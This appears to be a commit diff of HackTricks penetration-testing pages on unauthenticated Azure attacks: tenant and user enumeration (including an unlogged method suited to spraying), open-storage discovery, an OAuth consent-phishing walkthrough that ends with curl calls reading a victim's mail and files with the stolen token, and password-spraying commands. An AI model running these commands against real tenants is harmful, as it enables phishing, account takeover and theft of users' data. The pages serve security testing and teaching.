| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Login information</strong> of the tenant, including tenant Name and domain <strong>authentication type.</strong><br>If <code>NameSpaceType</code> is <strong><code>Managed</code></strong>, it means <strong>AzureAD</strong> is used.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Login information, including **Desktop SSO information** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
|
||||
You can query all the information of an Azure tenant with **just one command of the** [**AADInternals**](https://github.com/Gerenios/AADInternals) **library**:
|
||||
|
||||
```powershell
|
||||
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
|
||||
```
|
||||
|
||||
Output Example of the Azure tenant info:
|
||||
|
||||
```
|
||||
Tenant brand: Company Ltd
|
||||
Tenant name: company
|
||||
Tenant id: 1937e3ab-38de-a735-a830-3075ea7e5b39
|
||||
DesktopSSO enabled: True
|
||||
|
||||
Name DNS MX SPF Type STS
|
||||
---- --- -- --- ---- ---
|
||||
company.com True True True Federated sts.company.com
|
||||
company.mail.onmicrosoft.com True True True Managed
|
||||
company.onmicrosoft.com True True True Managed
|
||||
int.company.com False False False Managed
|
||||
```
|
||||
|
||||
It's possible to observe details about the tenant's name, ID, and "brand" name. Additionally, the status of the Desktop Single Sign-On (SSO), also known as [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), is displayed. When enabled, this feature facilitates the determination of the presence (enumeration) of a specific user within the target organization.
|
||||
|
||||
Moreover, the output presents the names of all verified domains associated with the target tenant, along with their respective identity types. In the case of federated domains, the Fully Qualified Domain Name (FQDN) of the identity provider in use, typically an ADFS server, is also disclosed. The "MX" column specifies whether emails are routed to Exchange Online, while the "SPF" column denotes the listing of Exchange Online as an email sender. It is important to note that the current reconnaissance function does not parse the "include" statements within SPF records, which may result in false negatives.
|
||||
|
||||
### User Enumeration
|
||||
|
||||
It's possible to **check if a username exists** inside a tenant. This includes also **guest users**, whose username is in the format:
|
||||
|
||||
```
|
||||
<email>#EXT#@<tenant name>.onmicrosoft.com
|
||||
```
|
||||
|
||||
The email is user’s email address where at “@” is replaced with underscore “\_“.
|
||||
|
||||
With [**AADInternals**](https://github.com/Gerenios/AADInternals), you can easily check if the user exists or not:
|
||||
|
||||
```powershell
|
||||
# Check does the user exist
|
||||
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
UserName Exists
|
||||
-------- ------
|
||||
user@company.com True
|
||||
```
|
||||
|
||||
You can also use a text file containing one email address per row:
|
||||
|
||||
```
|
||||
user@company.com
|
||||
user2@company.com
|
||||
admin@company.com
|
||||
admin2@company.com
|
||||
external.user_gmail.com#EXT#@company.onmicrosoft.com
|
||||
external.user_outlook.com#EXT#@company.onmicrosoft.com
|
||||
```
|
||||
|
||||
```powershell
|
||||
# Invoke user enumeration
|
||||
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
|
||||
```
|
||||
|
||||
There are **three different enumeration methods** to choose from:
|
||||
|
||||
| Method | Description |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Normal | This refers to the GetCredentialType API mentioned above. The default method. |
|
||||
| Login | <p>This method tries to log in as the user.<br><strong>Note:</strong> queries will be logged to sign-ins log.</p> |
|
||||
| Autologon | <p>This method tries to log in as the user via autologon endpoint.<br><strong>Queries are not logged</strong> to sign-ins log! As such, works well also for password spray and brute-force attacks.</p> |
|
||||
|
||||
After discovering the valid usernames you can get **info about a user** with:
|
||||
|
||||
```powershell
|
||||
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
|
||||
```
|
||||
|
||||
The script [**o365creeper**](https://github.com/LMGsec/o365creeper) also allows you to discover **if an email is valid**.
|
||||
|
||||
```powershell
|
||||
# Put in emails.txt emails such as:
|
||||
# - root@corp.onmicrosoft.com
|
||||
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
|
||||
```
|
||||
|
||||
**User Enumeration via Microsoft Teams**
|
||||
|
||||
Another good source of information is Microsoft Teams.
|
||||
|
||||
The API of Microsoft Teams allows to search for users. In particular the "user search" endpoints **externalsearchv3** and **searchUsers** could be used to request general information about Teams-enrolled user accounts.
|
||||
|
||||
Depending on the API response it is possible to distinguish between non-existing users and existing users that have a valid Teams subscription.
|
||||
|
||||
The script [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) could be used to validate a given set of usernames against the Teams API.
|
||||
|
||||
```bash
|
||||
python3 TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-output.json
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
[-] user1@domain - Target user not found. Either the user does not exist, is not Teams-enrolled or is configured to not appear in search results (personal accounts only)
|
||||
[+] user2@domain - User2 | Company (Away, Mobile)
|
||||
[+] user3@domain - User3 | Company (Available, Desktop)
|
||||
```
|
||||
|
||||
Furthermore it is possible to enumerate availability information about existing users like the following:
|
||||
|
||||
- Available
|
||||
- Away
|
||||
- DoNotDisturb
|
||||
- Busy
|
||||
- Offline
|
||||
|
||||
If an **out-of-office message** is configured, it's also possible to retrieve the message using TeamsEnum. If an output file was specified, the out-of-office messages are automatically stored within the JSON file:
|
||||
|
||||
```
|
||||
jq . teamsenum-output.json
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```json
|
||||
{
|
||||
"email": "user2@domain",
|
||||
"exists": true,
|
||||
"info": [
|
||||
{
|
||||
"tenantId": "[REDACTED]",
|
||||
"isShortProfile": false,
|
||||
"accountEnabled": true,
|
||||
"featureSettings": {
|
||||
"coExistenceMode": "TeamsOnly"
|
||||
},
|
||||
"userPrincipalName": "user2@domain",
|
||||
"givenName": "user2@domain",
|
||||
"surname": "",
|
||||
"email": "user2@domain",
|
||||
"tenantName": "Company",
|
||||
"displayName": "User2",
|
||||
"type": "Federated",
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"objectId": "[REDACTED]"
|
||||
}
|
||||
],
|
||||
"presence": [
|
||||
{
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"presence": {
|
||||
"sourceNetwork": "Federated",
|
||||
"calendarData": {
|
||||
"outOfOfficeNote": {
|
||||
"message": "Dear sender. I am out of the office until March 23rd with limited access to my email. I will respond after my return.Kind regards, User2",
|
||||
"publishTime": "2023-03-15T21:44:42.0649385Z",
|
||||
"expiry": "2023-04-05T14:00:00Z"
|
||||
},
|
||||
"isOutOfOffice": true
|
||||
},
|
||||
"capabilities": ["Audio", "Video"],
|
||||
"availability": "Away",
|
||||
"activity": "Away",
|
||||
"deviceType": "Mobile"
|
||||
},
|
||||
"etagMatch": false,
|
||||
"etag": "[REDACTED]",
|
||||
"status": 20000
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
## Azure Services
|
||||
|
||||
Know that we know the **domains the Azure tenant** is using is time to try to find **Azure services exposed**.
|
||||
|
||||
You can use a method from [**MicroBust**](https://github.com/NetSPI/MicroBurst) for such goal. This function will search the base domain name (and a few permutations) in several **azure service domains:**
|
||||
|
||||
```powershell
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
|
||||
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
|
||||
```
|
||||
|
||||
## Open Storage
|
||||
|
||||
You could discover open storage with a tool such as [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) which will use the file **`Microburst/Misc/permitations.txt`** to generate permutations (very simple) to try to **find open storage accounts**.
|
||||
|
||||
```powershell
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1
|
||||
Invoke-EnumerateAzureBlobs -Base corp
|
||||
[...]
|
||||
https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
|
||||
[...]
|
||||
|
||||
# Access https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
|
||||
# Check: <Name>ssh_info.json</Name>
|
||||
# Access then https://corpcommon.blob.core.windows.net/secrets/ssh_info.json
|
||||
```
|
||||
|
||||
### SAS URLs
|
||||
|
||||
A _**shared access signature**_ (SAS) URL is an URL that **provides access** to certain part of a Storage account (could be a full container, a file...) with some specific permissions (read, write...) over the resources. If you find one leaked you could be able to access sensitive information, they look like this (this is to access a container, if it was just granting access to a file the path of the URL will also contain that file):
|
||||
|
||||
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
Use [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/) to access the data
|
||||
|
||||
## Compromise Credentials
|
||||
|
||||
### Phishing
|
||||
|
||||
- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or OAuth App -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
|
||||
- [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
|
||||
|
||||
### Password Spraying / Brute-Force
|
||||
|
||||
{{#ref}}
|
||||
az-password-spraying.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://aadinternals.com/post/just-looking/](https://aadinternals.com/post/just-looking/)
|
||||
- [https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/](https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+7
@@ -0,0 +1,7 @@
|
||||
# Az - Device Code Authentication Phishing
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check:** [**https://o365blog.com/post/phishing/**](https://o365blog.com/post/phishing/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+151
@@ -0,0 +1,151 @@
|
||||
# Az - OAuth Apps Phishing
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## OAuth App Phishing
|
||||
|
||||
**Azure Applications** are configured with the permissions they will be able to use when a user consents the application (like enumerating the directory, access files, or perform other actions). Note, that the application will be having on behalf of the user, so even if the app could be asking for administration permissions, if the **user consenting it doesn't have that permission**, the app **won't be able to perform administrative actions**.
|
||||
|
||||
### App consent permissions
|
||||
|
||||
By default any **user can give consent to apps**, although this can be configured so users can only consent to **apps from verified publishers for selected permissions** or to even **remove the permission** for users to consent to applications.
|
||||
|
||||
<figure><img src="../../../images/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If users cannot consent, **admins** like `GA`, `Application Administrator` or `Cloud Application` `Administrator` can **consent the applications** that users will be able to use.
|
||||
|
||||
Moreover, if users can consent only to apps using **low risk** permissions, these permissions are by default **openid**, **profile**, **email**, **User.Read** and **offline_access**, although it's possible to **add more** to this list.
|
||||
|
||||
nd if they can consent to all apps, they can consent to all apps.
|
||||
|
||||
### 2 Types of attacks
|
||||
|
||||
- **Unauthenticated**: From an external account create an application with the **low risk permissions** `User.Read` and `User.ReadBasic.All` for example, phish a user, and you will be able to access directory information.
|
||||
- This requires the phished user to be **able to accept OAuth apps from external tenant**
|
||||
- If the phised user is an some admin that can **consent any app with any permissions**, the application could also **request privileged permissions**
|
||||
- **Authenticated**: Having compromised a principal with enough privileges, **create an application inside the account** and **phish** some **privileged** user which can accept privileged OAuth permissions.
|
||||
- In this case you can already access the info of the directory, so the permission `User.ReadBasic.All` isn't no longer interesting.
|
||||
- You are probable interested in **permissions that require and admin to grant them**, because raw user cannot give OAuth apps any permission, thats why you need to **phish only those users** (more on which roles/permissions grant this privilege later)
|
||||
|
||||
### Users are allowed to consent
|
||||
|
||||
Note that you need to execute this command from a user inside the tenant, you cannot find this configuration of a tenant from an external one. The following cli can help you understand the users permissions:
|
||||
|
||||
```bash
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
|
||||
```
|
||||
|
||||
- Users can consent to all apps: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` then users can to accept every application.
|
||||
- Users can consent to apps from verified publishers or your organization, but only for permissions you select: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users can to accept every application.
|
||||
- **Disable user consent**: If inside **`permissionGrantPoliciesAssigned`** you can only find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` and `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users cannot consent any.
|
||||
|
||||
It's possible to find the meaning of each of the commented policies in:
|
||||
|
||||
```bash
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
|
||||
```
|
||||
|
||||
### **Application Admins**
|
||||
|
||||
Check users that are considered application admins (can accept new applications):
|
||||
|
||||
```bash
|
||||
# Get list of roles
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
|
||||
# Get Global Administrators
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
|
||||
|
||||
# Get Application Administrators
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
|
||||
|
||||
# Get Cloud Applications Administrators
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
|
||||
```
|
||||
|
||||
## **Attack Flow Overview**
|
||||
|
||||
The attack involves several steps targeting a generic company. Here's how it might unfold:
|
||||
|
||||
1. **Domain Registration and Application Hosting**: The attacker registers a domain resembling a trustworthy site, for example, "safedomainlogin.com". Under this domain, a subdomain is created (e.g., "companyname.safedomainlogin.com") to host an application designed to capture authorization codes and request access tokens.
|
||||
2. **Application Registration in Azure AD**: The attacker then registers a Multi-Tenant Application in their Azure AD Tenant, naming it after the target company to appear legitimate. They configure the application's Redirect URL to point to the subdomain hosting the malicious application.
|
||||
3. **Setting Up Permissions**: The attacker sets up the application with various API permissions (e.g., `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`). These permissions, once granted by the user, allow the attacker to extract sensitive information on behalf of the user.
|
||||
4. **Distributing Malicious Links**: The attacker crafts a link containing the client id of the malicious application and shares it with targeted users, tricking them into granting consent.
|
||||
|
||||
## Example Attack
|
||||
|
||||
1. Register a **new application**. It can be only for the current directory if you are using an user from the attacked directory or for any directory if this is an external attack (like in the following image).
|
||||
1. Also set the **redirect URI** to the expected URL where you want to receive the code to the get tokens (`http://localhost:8000/callback` by default).
|
||||
|
||||
<figure><img src="../../../images/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. Then create an application secret:
|
||||
|
||||
<figure><img src="../../../images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. Select API permissions (e.g. `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read)`
|
||||
|
||||
<figure><img src="../../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
4. **Execute the web page (**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)** that asks for the permissions:
|
||||
|
||||
```bash
|
||||
# From https://github.com/carlospolop/azure_oauth_phishing_example
|
||||
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
|
||||
```
|
||||
|
||||
5. **Send the URL to the victim**
|
||||
1. In this case `http://localhost:8000`
|
||||
6. **Victims** needs to **accept the prompt:**
|
||||
|
||||
<figure><img src="../../../images/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
7. Use the **access token to access the requested permissions**:
|
||||
|
||||
```bash
|
||||
export ACCESS_TOKEN=<ACCESS_TOKEN>
|
||||
|
||||
# List drive files
|
||||
curl -X GET \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
|
||||
# List eails
|
||||
curl -X GET \
|
||||
https://graph.microsoft.com/v1.0/me/messages \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
|
||||
# List notes
|
||||
curl -X GET \
|
||||
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
```
|
||||
|
||||
## Other Tools
|
||||
|
||||
- [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** Check [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) to learn how to configure it.
|
||||
- [**O365-Attack-Toolkit**](https://github.com/mdsecactivebreach/o365-attack-toolkit)
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
### Phishing Post-Exploitation
|
||||
|
||||
Depending on the requested permissions you might be able to **access different data of the tenant** (list users, groups... or even modify settings) and **information of the user** (files, notes, emails...). Then, you can use this permissions to perform those actions.
|
||||
|
||||
### Application Post Exploitation
|
||||
|
||||
Check the Applications and Service Principal sections of the page:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer)
|
||||
- [https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+35
@@ -0,0 +1,35 @@
|
||||
# Az - Password Spraying
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Password Spray
|
||||
|
||||
In **Azure** this can be done against **different API endpoints** like Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, etc.
|
||||
|
||||
However, note that this technique is **very noisy** and Blue Team can **easily catch it**. Moreover, **forced password complexity** and the use of **MFA** can make this technique kind of useless.
|
||||
|
||||
You can perform a password spray attack with [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
|
||||
|
||||
```powershell
|
||||
. .\MSOLSpray\MSOLSpray.ps1
|
||||
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
|
||||
```
|
||||
|
||||
Or with [**o365spray**](https://github.com/0xZDH/o365spray)
|
||||
|
||||
```bash
|
||||
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
|
||||
```
|
||||
|
||||
Or with [**MailSniper**](https://github.com/dafthack/MailSniper)
|
||||
|
||||
```powershell
|
||||
#OWA
|
||||
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
|
||||
#EWS
|
||||
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile sprayed-ews-creds.txt
|
||||
#Gmail
|
||||
Invoke-PasswordSprayGmail -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile gmail-sprayed-creds.txt
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+41
@@ -0,0 +1,41 @@
|
||||
# Az - VMs Unath
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Virtual Machines
|
||||
|
||||
For more info about Azure Virtual Machines check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### Exposed vulnerable service
|
||||
|
||||
A network service that is vulnerable to some RCE.
|
||||
|
||||
### Public Gallery Images
|
||||
|
||||
A public image might have secrets inside of it:
|
||||
|
||||
```bash
|
||||
# List all community galleries
|
||||
az sig list-community --output table
|
||||
|
||||
# Search by publisherUri
|
||||
az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']"
|
||||
```
|
||||
|
||||
### Public Extensions
|
||||
|
||||
This would be more weird but not impossible. A big company might put an extension with sensitive data inside of it:
|
||||
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
az vm extension image list --output table
|
||||
|
||||
# Get extensions by publisher
|
||||
az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user